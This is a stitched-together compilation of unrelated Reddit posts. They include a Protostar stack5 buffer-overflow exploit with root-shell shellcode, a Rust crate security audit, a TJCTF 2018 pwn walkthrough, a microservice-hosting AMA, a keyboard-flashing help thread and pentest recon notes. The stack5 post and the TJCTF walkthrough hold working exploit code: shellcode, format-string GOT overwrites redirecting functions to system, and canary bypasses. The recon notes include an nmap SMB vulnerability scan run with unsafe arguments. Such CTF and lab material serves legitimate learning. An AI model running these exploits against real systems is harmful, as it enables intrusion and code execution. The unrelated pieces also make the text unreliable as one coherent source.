[email protected]:/opt/protostabin$ (python -c "import sys; sys.stdout.write('\x90'*76 + '\xc0\xf7\xff\xbf' + '90'*10 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')";) | ./stack5 # whoami root 

I add python script exploit for reference :

Shellcode inside the buffer (not working)
import struct totalpad = 76 # Total bytes needed to start overwriting EIP NOP = "\x90" * 5 shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" EIP = struct.pack("I", 0xbffff770) nbpad = totalpad - len(NOP) - len(shellcode) PAD = 'A' * nbpad print NOP + shellcode + PAD + EIP 
Shellcode outside the buffer (working good)
import struct NOP1 = "\x90" * 76 EIP = struct.pack("I", 0xbffff7c0) NOP2 = "\x90" * 10 shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" print NOP1 + EIP + NOP2 + shellcode 
EDIT : shellcode inside the buffer is now working :-)
When executing outside gdb and attaching to the process I see that the start of the buffer is located at another memory adress.
So instead of hardcoding EIP start of buffer I use a register to jump to.
Hopefully there is one that hold the good adress: eax
Here is the working exploit of Shellcode inside the buffer:
import struct totalpad = 76 # Total bytes needed to start overwriting EIP # Little NOP Slide NOP = "\x90" * 2 # Shellcode maintaing / reopening stdin (for gets exploitation) shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" # Buffer start adress is 0xbfff770 but to hardcode adress is unreliable # EIP = struct.pack("I", 0xbffff770) # We will use a register to jump on the start of the buffer # We know debugging the program that eax contain the adress we want # We look with objdump -D stack5 -M intel | grep call | grep eax # 80483bf: ff d0 call eax # 804846b: ff d0 call eax # We have to adress that will call eax so that can trigger our exploit ! # EIP will call the adress that will "call eax" EIP = struct.pack("I", 0x80483bf) # We let EBP option either to rewrite trash or to use its original adress EBP = struct.pack("I", 0xbfff7b8) #EBP = "BBBB" nbpad = totalpad - len(NOP) - len(shellcode) - len(EBP) PAD = 'A' * nbpad # our payload print NOP + shellcode + PAD + EBP + EIP 
Usage :
$ python /home/usepython_exploits/ | /opt/protostabin/stack5 # whoami root 
submitted by tequilaweb81 to LiveOverflow [link] [comments]

Auditing popular crates: how a one-line unsafe has nearly ruined everything

Edit: this is a rather long post that's not very readable on old Reddit's grey background. Click here to read it on Medium.
Following the actix-web incident (which is fixed now, at least mostly) I decided to poke other popular libraries and see what comes of it. The good news is I've poked at 6 popular crates now, and I've got not a single actually exploitable vulnerability. I am impressed. When I poked popular C libraries a few years ago it quickly ended in tears security vulnerabilities. The bad news is I've found one instance that was not a security vulnerability by sheer luck, plus a whole slew of denial-of-service bugs. And I can't fix all of them by myself. Read on to find out how I did it, and how you can help!
My workflow was roughly like this:
  1. See if the crate has been fuzzed yet to identify low-hanging fruit.
  2. If it has been fuzzed, check sanity of fuzzing harness.
  3. If something is amiss, fuzz the crate.
  4. In case fuzzing turns up no bugs, eyeball the unsafes and try to check them for memory errors.
  5. If no horrific memory errors turn up, try to replace whatever's under unsafe with safe code without sacrificing performance.
Turns out Rust community is awesome and not only has excellent integration for all three practical fuzzers along with a quick start guide for each, but also a huge collection of fuzz targets that covers a great deal of popular crates. Ack! Getting low-hanging fruit at step 1 is foiled!
So I've started checking whether fuzzing targets were written properly. Specifically, I've started looking for stuff that could block fuzzing - like checksums. A lot of formats have them internally, and PNG has not one but two - crc32 in png format and adler32 in deflate. And lo and behold, none of the crates were actually disabling checksums when fuzzing! This means that random input from fuzzer was rejected early (random data does not have a valid checksum in it, duh) and never actually reached the interesting decoding bits. So I've opened PRs for disabling checksums during fuzzing in miniz_oxide, png, lodepng-rust, and ogg, and then fuzzed them with checksums disabled. This got me:
inflate crate was the first where fuzzing has turned up nothing at all, so I've started eyeballing its unsafes and trying to rewrite them into safe code. I've added a benchmarking harness and started measuring whether reverting back to safe code hurts performance. cargo bench was too noisy, but I've quickly discovered criterion which got me the precision I needed (did I mention Rust tooling is awesome?). I got lucky - there were two unsafes with two-line safe equivalent commented out, and reverting back to safe code created no measurable performance difference. Apparently the compiler got smarter since that code was written, so I've just reverted back to safe code.
This left just one unsafe with a single line in it. Spot the security vulnerability. I would have missed it if the crate maintainer hadn't pointed it out. If you can't, there are hints at the end of this post.
By sheer luck the rest of the crate just so happens to be structured in a way that never passes input parameters that trigger the vulnerability, so it is not really exploitable. Probably. I could not find a way to exploit it, and the crate maintainer assures me it's fine. Perhaps we just haven't figured out how to do it yet. After all, almost everything is exploitable if you try hard enough.
Sadly, simply replacing the unsafe .set_len() with .resize() regressed the decompression performance by 10%, so instead I've added an extra check preventing this particular exploit from happening, and then liberally sprinkled the function with asserts that panic on every other way this unsafe could go wrong that I could think of.
Is the function secure now? Well, maybe. Maybe not. Unless we either rewrite it in safe rust (or prove its correctness, which is a lot harder) we will never know.
The thing is, I'm pretty sure it's possible to rewrite this in safe Rust without performance penalty. I've tried some local optimizations briefly, to no avail. Just like with high-level languages, writing fast safe Rust requires staying on the optimizer's happy paths, and I have not found any documentation or tooling for doing that. The best I've got is that lets you inspect the LLVM IR as well as assembler and shows what line of Rust turned into what line of assembly, but you can't feed your entire project to it. You can get rustc to dump LLVM IR, but it will not tell you what line turned into what (at least by default), let alone do readable highlighting. As pointed out in comments, cargo-asm that does the trick! And you also need tools to understand why a certain optimization was not applied by rustc. LLVM flags -Rpass-missed and -Rpass-analysis seem to be capable of doing that, but there is literally no documentation on them in conjunction with Rust.
Discussing the vulnerability further would be spoilerrific (seriously, try to locate it yourself), so I'll leave further technical discussion until the end of the post. I want to say that I was very satisfied with how the crate maintainer reacted to the potential vulnerability - he seemed to take it seriously and investigated it promptly. Coming from C ecosystem it is refreshing to be taken seriously when you point out those things.
By contrast, nobody seems to care about denial of service vulnerabilities. In the 3 crates I've reported such vulnerabilities for, after 3 weeks not a single one was investigated or fixed by maintainers of those crates, or anyone else really. And the DoS bugs are not limited to panics that you can just isolate into another thread and forget about.
After not getting any reaction from crate maintainers for a while I tried fixing those bugs myself, starting with the png crate. In stark contrast to C, it is surprisingly easy to jump into an existing Rust codebase and start hacking on it, even if it does rather involved things like PNG parsing. I've fixed all the panics that fuzzers discovered based on nothing but debug mode backtraces, and I don't even know Rust all that well. Also, this is why there are 4 distinct panics listed for PNG crate: I've fixed one and kept fuzzing until I discovered the next one. lewton probably has many more panics in it, I just didn't got beyond the first one. Sadly, three weeks later my PR is still not merged, reinforcing the theme of "nobody cares about denial of service". And png still has a much nastier DoS bug that cannot be isolated in a thread.
(To be clear, this is not meant as bashing any particular person or team; there may be perfectly valid reasons for why it is so. But this does seem to be the trend throughout the ecosystem, and I needed some examples to illustrate it).
Also, shoutout to tungstenite - it was the only crate that did not exhibit any kinds of bugs when being fuzzed for the first time. Kudos.
Originally I thought this would be a fun exercise for a few weekends, but the scope of the work quickly grew way beyond what I can hope to achieve alone. This is where you come in, though! Here's a list of things you can try, in addition to the hard tooling tasks listed above:
  1. Fuzz all the things! It takes 15 minutes to set up per crate, there is no reason not to. Also, there is a trophy case.
  2. Fix bugs already discovered. For example: panic in lewton (easy), unbounded memory consumption in png (intermediate), lodepng memory leak (C-hard). You can also fuzz lewton afterwards to get more panics, just don't forget to use ogg dependency from git. You can reuse my fuzz harnesses if you wish.
  3. Refactor unsafes in popular crates into safe code, ideally without sacrificing performance. For example, inflate crate has just one unsafe block remaining, png has two. There are many more crates like that out there.
  4. There are easy tasks on docs and tooling too: documentation is outdated and describes only version 0.3. Version 0.4 has added in-process fuzzing that's ~10x faster, it needs to be mentioned. Also, AFL could use more Rusty integration with Cargo, closer to what cargo-fuzz does. Also, disabling checksums is a common pitfall that needs to be mentioned.
I'd love to keep fixing all the things, but at least in the coming month I will not able to dedicate any time to the project. I hope I've managed to at least lead by example.
And now, details on that vulnerability! If you haven't found it yourself, here's a hint: similar bugs in C libraries.
If you still haven't found it, see the fix.
Spoilerrific discussion of the vulnerability below.
Vulnerable code from git history for reference
The function run_len_dist() does a fairly trivial thing: resizes a vector to fit a specified amount of data and copies data from element i to element i+dist until i+dist hits the end of the vector. For performance, contents of the vector are not initialized to zeroes when resizing, as it would have been done by vec.resize(); instead, vec.set_len() is used, creating a vector with a number of elements set to uninitialized memory at the end.
The function never checks that dist is not zero. Indeed, if you call it with dist set to 0, it will simply read uninitialized memory and write it right back, exposing memory contents in the output.
If this vulnerability were actually exploitable from the external API (which it isn't, probably), inflate would have output contents of uninitialized memory in the decompressed output. inflate crate is used in png crate to decompress PNGs. So if png crate was used in a web browser (e.g. servo) to decode images, an attacker could pass a crafted PNG to the client, then read the decoded image using javascript. This lets the attacker read memory contents from the browser - cookies, passwords, you name it. This is not quite as bad as Heartbleed or Meltdown, but it's up there.
Sadly, regular fuzzing would not have discovered this vulnerability. If it were actually exploitable, at least one way to trigger it would involve setting several distinct bytes in the input to very specific values. And even the best current generation fuzzers cannot trigger any behavior that requires changing more than one byte simultaneously, except in rare cases or if you explicitly tell what consecutive byte strings it should try. And there is nothing in the code that would guide the fuzzers to these specific values.
Even if fuzzers did discover such an input by random chance, they would not have recognized it as a vulnerability, unless you do either of these things:
This just goes to show that fuzzing unsafe code does not actually guarantee absence of bugs.
Safe Rust, however, does guarantee absence of memory errors that lead to arbitrary code execution exploits and other unspeakable horrors. So let's use it.
submitted by Shnatsel to rust [link] [comments]

TJCTF 2018 - Binary Exploitation Guide

Hello, I am pretty new here and I just create a full guide for all pwn challenges from TJCTF.
I hope you'll enjoy them, here is the original link on medium:

Math Whiz

We have a simple binary that will show us the flag if we could become admin.
if (admin) { printf("Successfully registered '%s' as an administrator account!\n", username); printf("Here is your flag: %s\n", FLAG); } else { printf("Successfully registered '%s' as an user account!\n", username); } 
But the admin variable is not set anywhere, so we need to pwn it. It will be pretty easy as we have the source code provided. If we take a look at the input function, we observe that it reads specified size multiplied by 16. The most obvious buffer overflow is when the PIN code gets read:
input(recoverypin, 4); 
This means that we read 64 bytes in a 4-byte array. We also see that the admin variable is declared before the buffers, so the question is how could we override it? Lucky enough, modern compilers move buffers before any other variables in order to get them way from the return pointer, but in our case, we are in advantage. Finally, any input larger than 52 bytes will provide us this beauty: tjctf{d4n63r0u5_buff3r_0v3rfl0w5}

Tilted Troop

We’ve got a binary that should read 8 team members with random strengths and simulate a battle with some fantastic creature. If the sum of strengths is our goal (400 in this case), we will get the flag. Again, we have the source code, so our life is a lot easier when we don’t have to disassemble. We see that the array of strengths is kept right after the array of names and maybe we could override somehow.
Checking how bound checks are done, we can spot a bug:
if(t.teamSize > MAX_TEAM_SIZE) 
Array indexing starts from 0, so from 0 to MAX_TEAM_SIZE there are MAX_TEAM_SIZE + 1 elements. We need to create 8 members in our team and then just override the strength variable.
for i in range(4): io.recvline() for i in range(8): io.sendline('A test') # this will override strength buffer # 'd' = 100 => 'd' * 4 = 400 io.sendline('A dddd') io.sendline('F') io.interactive() 
And here it is: tjctf{0oPs_CoMP4Ri5ONs_r_h4rD}
Full solution:

Future Canary Lab

Again, we have to deal with variable overriding, but this time we have some kind of protection:
// canary generation for (i = 0; i < 10; ++i) { canary[i] = check[i] = rand(); } // ... // canary check for (j = 0; j < 10; ++j) { if (canary[j] != check[j]) { printf("Alas, it would appear you lack the time travel powers we desire.\n"); exit(0); } } 
If you are familiar with stack canaries (or stack cookies) you easily recognize that this is a handmade implementation. As rand() is not a secure function, we could reproduce its return values for sure. In the **main() **function we see that it is initialized with the seed of current time, so it is pretty vulnerable. Using the current time when we connect to the server as the seed, we can generate the values from the canary. Here we have a little C program to generate 10 random values based on our seed:
int main(int argc, char **argv) { int seed = atoi(argv[1]); srand(seed); for (int i = 0; i <= 9; i++) { printf("%d\n", rand()); } return 0; } 
Now, as we bypassed the canary, we need to satisfy the following condition:
if (secret - i + j == 0xdeadbeef) 
secret is always 0, i could be overridden by us and j is always 10, so we need to override i with 0x2152411b to solve the equation.
At the end we have: tjctf{3l_p5y_k0n6r00_0ur_n3w357_l4b_m3mb3r!}
Full solution:
We were given a small demo banking system. We have the source code, so a vulnerability will be pretty easy to spot. At first it looks pretty secure, but if we take a look at the verify_pin() function we see a clear buffer overflow. Let’s run a checksec to see what protection does this binary implies:
[[email protected] tjctf2018]$ checksec problem [*] '/home/littlewho/ctfs/tjctf2018/problem' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments 
It does not have any stack canary or any other execution prevention, so the solution is straightforward. The name array is global so it is stored in the BSS section and we know its address: 0x6010A0. We could store our shellcode here and then use the overflow to jump here.
; execve(["/bin/sh",], [], []) bits 64 push 0x68 mov rax, 0x732f2f6e69622f2f push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx xor r10, r10 mov rax, 0x3b syscall 
Compile it as raw binary using nasm in order to easily use it. The layout of the attack vector is:
4 chars for PIN + 13 bytes to fill the buffer and the RBP + RIP 
Running the exploit
Flag: tjctf{d4n6_17_y0u_r0pp3d_m3_:(}
Full solution:

Secure Secrets

Challenges until now were pretty easy, the real fun starts now. Don’t get scary, they are still easy, but they need a little bit more amount of work than others as we don’t have the source code anymore and we need to do format string exploitation.
Running the application
This is how the application looks. It just reads a password and a message then shows the message. Let’s open the binary in IDA Pro (or Hopper). Both of them could generate pseudo-code of the program (press F5 in IDA or search in top menu of Hopper), but for now let’s analyze some Assembly.
We don’t see any buffer overflow, but the following code from get_message() looks interesting:
.text:0804885D mov eax, [ebp+arg_0] .text:08048860 mov [ebp+var_2C], eax ... .text:080488EC push [ebp+var_2C] ; format .text:080488EF call _printf .text:080488F4 add esp, 10h 
var_2C is the argument passed to the function and it represents our message and it is passed directly to printf() and that means: format string vulnerability! The scenario could be classic: leak libc, overwrite some function GOT with system, pass “/bin/sh” to it and get the flag, but it is even easier, after investigating the binary a little bit more we see another function named get_secret() that has some pretty interesting code in it:
.text:08048727 push offset modes ; "r" .text:0804872C push offset filename ; "flag.txt" .text:08048731 call _fopen 
So it is clear, we need to overwrite some GOT entry with the address of this function. I will chose **puts() **as it is called after our exploit few times. We need to write 0x08048713 (get_secret) at 0x0804A028 ([email protected]) in order to get the flag. We will use 2 writes of 2 bytes. (if you are not familiar with this type of exploit read this and watch this) Before we craft our exploit, we need to know where our controlled is in order to pop addresses from it. If we set a breakpoint before the printf at 0x080488EF and dump the stack, we will see that %35$x is our buffer.
This is a short explanation for those who don’t understand how I got that number. Open the executable in GDB and put a breakpoint at that printf. Input something like this in the message: *AAAABBBB %x %x %x *and now continue. When the breakpoint is hit, dump the stack then step to the next instruction. The printf output will be something like:
AAAABBBB ffffc5ec f7fa05c0 fbad2887 
Now let’s search those values in the stack dump.
In the first square, we have the dumped values by printf and in the second one the actual buffer. The distance from first printed argument to the buffer is of 35 arguments. So, when we will want to overwrite few addresses using **%n **format argument, we will put those addresses at the beginning of our buffer and we will use %$n syntax to access them. Let’s proceed further.
Using python I generated the payload in a pretty manner:
arg_off = 35 puts_GOT = 0x0804A028 get_secret_ADDR = 0x08048713 write1 = 0x0804 - 8 write2 = 0x8713 - write1 - 8 payload = p32(puts_GOT + 2) + p32(puts_GOT) + "%{}x%{}$hn%{}x%{}$hn".format(write1, arg_off, write2, arg_off + 1) 
First we write the bytes with a smaller value and then the rest. After running it we get: tjctf{n1c3_j0b_y0u_r34lly_GOT_m3_600d}
Full solution:

Super Secure Secrets

Running the application
We have almost the same challenge, but with improved security, so let’s do some standard checks.
Now, there is no get_secret() function, we have no buffer overflow, but we still have the same format string vulnerability in the view message functionality. We need to follow a classic scenario:
Leaking the libc implies dumping the stack before the printf and investigate if we have any libc address that could be accessed by our %$p trick. As we are using a 64-bit binary, first 5 arguments are passed using registers, so stack arguments start at 6. Let’s use *%6$p %7$p %8$p *to dump few values:
0x7fffffffd390 0x7fffffffd3b0 0x100000000 
Leaked arguments
Here we have the values we printed. Looking ahead we see this:
Libc address onto the stack
By dividing 0x1d8 offset by pointer size on 64-bit arch (8 bytes) we get the position 65. So at %65$p we have __libc_start_main+ and we can leak the base address of libc. Now, we have to problems ahead:
Let’s solve them one by one. So, we have two options to get the version of libc, first would be to leak the argument 65 on the webserver, take its signature (last 3 digits) and use or to find the version. In that case, the leaked address is 0x7fdf0a8a7b97 (it changes every time, only the last digits remain, this is just an example) and its signature is b97. The second option is to use an already solved pwn challenge to connect to the server and leak the libc version, it is not very fair play, but remember this trick, it is very useful in some CTFs with esoteric libc versions.
Both solutions lead to the same answer: libc6_2.27–3ubuntu1_amd64
Searching for libc
The offset of specified symbol is 0x21b97, so now we have the base address when we want, but we still need to force the program not to close. Let’s investigate the code after we run our exploit. (I used IDA to decompile)
unsigned __int64 __fastcall get_message(char *a1, const char *a2) { // ... code before this is not relevant printf(a1, &s, a2); puts("===================="); for ( i = 0; i <= 5; ++i ) v4[i] = byte_401238[rand() % 62]; v5 = 0; puts("As a free trial user, please complete the following captcha for our monitoring purposes."); printf("Captcha: %s\n", v4); fgets(&s2, 7, stdin); if ( !strcmp(v4, &s2) ) { puts("Thank you for your cooperation..."); } else { memset(a1, 0, 0x80uLL); puts("Incorrect captcha, your message was removed from our database."); } return __readfsqword(0x28u) ^ v8; } 
After this function returns, the program closes. The simplest solution is to overwrite the GOT of a function that is called before the exit and return to the beginning of the program. As memset() is not used in the rest of the program let’s rewrite its GOT with 0x400DA0 (the address where the menu is printed and the interaction starts).
Crafting the payload is a little bit tricky, we are now on 64-bit and addresses has a lot of zero bytes, so we can’t add them at the beginning of our message because that would end the printf. We could add them at the end, but in my case I chosen to add them in the password buffer and use them from there.
After leaking the right offsets, we can craft the following vector that will leak libc and will overwrite [email protected].
# addresses memset_GOT = 0x602050 secure_service_ADDR = 0x400DA0 # payload that leaks libc and rewrite memset() GOT to secure_service() # write zeros at the first 4 bytes and the address in the last 4 # also, we will store the addresses where we write in the password buffer off = 22 # offset of password buffer leak_off = 65 # offset of __libc_start_main_ret on the stack payload = "%{}$n%{}${}p%{}$n".format(off + 1, leak_off, secure_service_ADDR, off) ... leaked_libc = stack_leak_address - 0x21b97 # calculate the base 
The next step is to get the shell. We see that memset() is called with our message as the first argument, so if we replace it with system() and add at the beginning of our message “sh || ”, then we will get a shell and the errors from the rest of the string will be ignored. So, let’s write the payload:
# payload that rewrites memset() GOT to system() write1 = (0xffff00000000 & system_ADDR) / 0x100000000 write2 = (0x0000ffff0000 & system_ADDR) / 0x10000 write3 = (0x00000000ffff & system_ADDR) # sort the writes in ascending order writes = [ (write1, p64(memset_GOT + 4)), (write2, p64(memset_GOT + 2)), (write3, p64(memset_GOT + 0)) ] writes.sort(key=lambda tup: tup[0]) print (writes) addresses = ''.join(x[1] for x in writes) write3 = writes[0][0] write2 = writes[1][0] write1 = writes[2][0] code = "sh || " payload = code + "%{}x%{}$hn%{}x%{}$hn%{}x%{}$hn".format(write3 - len(code), off, write2 - write3, off + 1, write1 - write2, off + 2) 
Running the full script will have great results:
Running the exploit
Flag: tjctf{4r3_f0rm47_57r1n65_63771n6_0ld_y37?}
Full solution:
And here we are, at the end of the journey. We pwned them all! TJCTF was a great experience with pretty interesting tasks that were beginner oriented, so I recommend it to any newcomer as the organizers did a really great job to assure a high quality CTF.
Don’t forget to subscribe and follow my Github for more wargames solutions and guides. Thanks for reading!
submitted by l1ttl3wh0 to securityCTF [link] [comments]

I built a 100% open-source hosting platform for JavaScript microservices and webhooks, in Javascript. Ask me anything! Architectural write-up included.

Hello. I built a 100% open-source hosting platform for JavaScript microservices, in Javascript. Ask me anything!
The project:
The source code:
Built with: Node.js, CouchDB, and Github Gist. Node Package Manager modules are fully supported.
Architectural details can be found a bit further down.
Interested, but too busy to read this now?
If you'd like, you can run the following Curl command to opt-in to our mailing list. We'll periodically send you updates about the project.
curl [email protected]
Replace [email protected] with your email address.
What is the purpose of is an open-source hosting platform for webhooks and microservices. The microservice architectural style is an approach to developing a single application as a suite of small services, each running in its own process and communicating with lightweight mechanisms. provides an easy way to create, host, and share microservices. Through developing many small re-usable microservices, you can reduce the complexity of your applications while improving stability.
Why or how would I want to use
You should want to use if it can make your life as a developer easier.
The most basic use-case for is quick and free webhook hosting. You can instantly create a simple hook which parses the incoming parameters of an HTTP request and performs arbitrary actions on it. For instance: Send an SMS message every-time the Hook is requested as a webpage. Since NPM is supported, you can re-use any existing library from the extensive NPM module repository. You can also configure Hooks to be executed on a schedule using a Cron pattern.
At this point, we will take note that Hooks are fully streaming. Inside your Hook source code you have direct access to Node's http.IncomingMessage and httpServer.ServerResponse request and response streams. This means you can treat the inside of a Hook the exact same way as if it were inside a streaming middleware in a regular node http server. Having direct access to these streams is extremely useful and I am unsure if any other microservice hosting providers currently offer this feature.
More advanced use-cases for would be replacing individual parts of your application with microservices. Instead of adding a new route or module to your application , you could instead create a Hook responsible for only one unit of functionality and call it using a regular HTTP request from inside your existing application. One specific example could be building a Hook with a custom theme which acts perfectly as a stand-alone sign-up form. This sign-up form can then be loaded server-side in your application using one HTTP get request. It might sound complicated at first, but integrating microservices with your existing application is actually very easy. In the upcoming weeks we'll work on releasing specific guides for separating application functionalities into microservices.
An even more advanced usage would be building a suite of Hooks and composing them to create new and unique applications! Since every Hook understands Standard In and Standard Out and Hooks can easily call other Hooks from inside each other, there are an endless amount of combinations to be made. This composability enables the foundation for Flow-based Programming without imposing any specific rules for composition. A specific example could be building a Hook ( called "tar" ) responsible for taking in STDIN and streaming out a compressed tar file. Once this Hook is created, you could easily pipe the results of another Hook ( such as an image downloader ) into the "tar" Hook. These Hooks don't exist yet, but I am certain someone will build them in the near future.
Unix Pipes! is very friendly with Unix Pipes. Using STDOUT and STDIN you can connect to your existing Unix Tool chain. The best way to explain this concept is to review the Curl examples.
Here is one specific example of using to flip a cat upside-down with cat and curl. You will need to provide your own cat.png
cat cat.png | curl -F 'degrees=180' -F '[email protected];type=image/png' > upsidedown-cat.png
The Data!
If you noticed in the last example, is fully capable of streaming binary data. It also supports streaming file uploads, multipart form uploads, and will assist in parsing all incoming form fields, JSON, and query string data.
Software Architecture
The core software architecture of is Resource-View-Presenter ( RVP ).
Resources are created using the npm resource module.
View-Presenters are created using the npm view module with regular HTML, CSS, and JavaScript. The same View-Presenter pattern is also used to implement custom theming for Hooks see:
Important dependencies
mschema - Provides validation through-out the entire stack.
big - Small application framework. Provides website app which extends.
resource-http - Provides core HTTP server API. Helps in configuring Express with middlewares like Passport
resource-mesh - Provides a distributed event emitter mesh using a star network topography. primarily uses this module as a monitoring agent to report status back to our monitoring sink.
resource-user - Provides basic user API ( signups / logins / encrypted passwords / password resets / etc )
Server Architecture
There is one front-facing HTTP server and any number of Hook Workers.
The front-facing server is responsible for serving static content, maintaining user session data, and piping requests between the client and Worker.
Workers are responsible for executing user-submitted source code and piping their responses through the front-facing server to the client.
At this point, we will take note that communication between the Hook and client remains streaming throughout the entire architecture. This gives the ability to perform complex tasks like transcoding large video streams without worrying about clogging up any parts of the system with large memory buffers.
Hook Servers and Hook Workers are immutable and stateless to ensure stability of the platform. They are designed to fail fast and restart fast. mon is used as a process supervisor.
This architecture can theoretically scale to upwards of 10,000 concurrent connections. Realistically, it will probably be closer to 4,000. When the site needs to scale past this, we will create several front-facing servers and load balance incoming HTTP requests to them using DNS.
Hook and User configuration data are stored in a CouchDB database. If the database grows too large, we will split it into several smaller database severs sharded by the first alphabetic letter of every document's primary key.
Source code for Hooks is currently stored on Github as Github Gists. I'd imagine sometime in the future we will add the option to store and edit source code directly on itself. The project is open-source, so you could be the first to open up the issue!
Questions? Comments? Feedback?
Let me know! Open-source projects get better with collaboration. Every comment and piece of feedback counts.
Maybe take five minutes to try the platform out? You might like it!
The dependency tree for is re-used in many applications. Several of these dependencies I maintain myself. If you have feedback or comments about any specific dependency let me know!
submitted by _Marak_ to javascript [link] [comments]

[HELP] KBD75 QMK flashing problems

FIXED Leaving this up so if someone searches they can find the solution. DO NOT USE ANY SPACES IN YOUR FILE NAME. Yes really, that's it. So wherever you save the .hex file for the layout do not use any spaces and you will not have this issue. Thanks a ton to yanfali for this simple solution. Once again proving that you have to be slightly smarter than your PC.
This is my first time trying to flash a keyboard, I followed all the steps found here KBD75 + QMK.
So after the first flash attempt with QMK Flasher I get this error message
"Choose .hexFlash When Ready dfu-programmer atmega32u4 erase --force Erasing flash... Success Checking memory from 0x0 to 0x6FFF... Empty. dfu-programmer atmega32u4 flash C:\Users\DaneG\Documents\KBD75 layout\kbd75hhkb.hex dfu-programmer 0.7.0 Usage: dfu-programmer target[:usb-bus,usb-addr] command [options] [global-options] [file|data] global-options: --quiet --debug level (level is an integer specifying level of detail)
Global options can be used with any command and must come after the command and before any file or data value
command summary: launch [--no-reset] read [--force] [--bin] [(flash)|--user|--eeprom] erase [--force] [--suppress-validation] flash [--force] [(flash)|--user|--eeprom] [--suppress-validation] [--suppress-bootloader-mem] [--serial=hexdigits:offset] {file|STDIN} setsecure configure {BSB|SBV|SSB|EB|HSB} [--suppress-validation] data get {bootloader-version|ID1|ID2|BSB|SBV|SSB|EB| manufacturer|family|product-name| product-revision|HSB} getfuse {LOCK|EPFL|BOOTPROT|BODLEVEL|BODHYST| BODEN|ISP_BOD_EN|ISP_IO_COND_EN| ISP_FORCE} setfuse {LOCK|EPFL|BOOTPROT|BODLEVEL|BODHYST| BODEN|ISP_BOD_EN|ISP_IO_COND_EN| ISP_FORCE} data
additional details: launch: Launch from the bootloader into the main program using a watchdog reset. To jump directly into the main program use --no-reset. read: Read the program memory in flash and output non-blank pages in ihex format. Use --force to output the entire memory and --bin for binary output. User page and eeprom are selected using --user and --eprom erase: Erase memory contents if the chip is not blank or always with --force flash: Flash a program onto device flash memory. EEPROM and user page are selected using --eeprom|--user flags. Use --force to ignore warning when data exists in target memory region. Bootloader configuration uses last 4 to 8 bytes of user page, --force always required here. Note: version 0.6.1 commands still supported. An error occurred - please try again."
After this QMK Flasher allows me to try and flash the keyboard over and over even after unplugging and replugging the USB. My KBD75 does not light up or register keystrokes when plugged in, it seems like it is stuck in bootloader mode. It may be relevant that before installing the drivers my keyboard registers as 'ATm32UDFU'. After installing the drivers it is 'ATmega32u4'.
The KBDfans website says that these are R6 and the PCB is white, I haven't checked for the manual reset button on the PCB yet but I will start taking apart the keyboard after posting this to see if that will solve the issue. That same guide linked above mentioned that some KBD75 were only flashable with Bootmapper Client but when I tried to 'Download' the layout or 'Toggle Bootmapper' in the program I get this error message "Error opening ps2avrGB device: The specified device was not found". Not sure if this means my PCB won't work with Bootmapper Client or just the keyboard is already in bootloader so the program cannot detect the layout or put it into bootloader again. I have never used this program either but after the error message I have no tried to create a layout and flash it. Without being able to detect the keyboard I am not sure how to do it manually by just the rows and columns.
Sorry for the wall of text, any help would be much appreciated as my new board is now a pretty brick :).
TLDR; New KBD75 seems stuck in bootloader after first flash attempt with QMK Flasher. PC still detects it.
*UPDATE* I took apart the case and tried manually resetting the PCB. It doesn't change anything, once I reset it the PC detects the keyboard like usual and QMK Flasher lets me flash the keyboard again to no effect.
submitted by OleDaneBoy to MechanicalKeyboards [link] [comments]

noob friendly notes part 2

Recon and Enumeration

nmap -v -sS -A -T4 target - Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
nmap -v -sS -p--A -T4 target - As above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 target - As above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X - Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover

SMB enumeration

ls /usshare/nmap/scripts/* | grep ftp - Search nmap scripts for keywords
nbtscan - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip - Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing


nbtscan -v - Displays the nbtscan version
nbtscan -f target(s) - This shows the full NBT resource record responses for each machine scanned, not a one line summary, use this options when scanning a single host
nbtscan -O file-name.txt target(s) - Sends output to a file
nbtscan -H - Generate an HTTP header
nbtscan -P - Generate Perl hashref output, which can be loaded into an existing program for easier processing, much easier than parsing text output
nbtscan -V - Enable verbose mode
nbtscan -n - Turns off this inverse name lookup, for hanging resolution
nbtscan -p PORT target(s) - This allows specification of a UDP port number to be used as the source in sending a query
nbtscan -m - Include the MAC (aka "Ethernet") addresses in the response, which is already implied by the -f option.

Other Host Discovery

netdiscover -r - Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at $client site

SMB Enumeration

nbtscan - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ip - Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

Python Local Web Server

python -m SimpleHTTPServer 80 - Run a basic http server, great for serving up shells etc

Mounting File Shares

mount /mnt/nfs - Mount NFS share to /mnt/nfs
